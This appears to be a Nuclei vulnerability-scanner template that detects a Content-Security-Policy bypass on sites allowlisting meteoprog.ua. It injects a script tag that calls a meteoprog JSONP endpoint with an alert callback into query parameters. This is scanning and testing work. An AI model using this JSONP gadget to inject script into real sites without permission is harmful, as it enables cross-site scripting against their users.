id: meteoprog-csp-bypass

info:
  name: Content-Security-Policy Bypass - Meteoprog
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,meteoprog,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "meteoprog.ua"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: meteoprog_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.meteoprog.ua/data/weather/informer/Poltava.js?callback=alert(1337)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "meteoprog_csp_xss == true"
# digest: 490a0046304402206b21ec21c67f7261adcd29651e1af676bfcbf5868d4c63f5ca431fb2a24adc8b02201a3fa43d4831c06871f78117185d88e7d08d9efe5053209d7e98479a871ef8c1:922c64590222798bb761d5b6d8e72950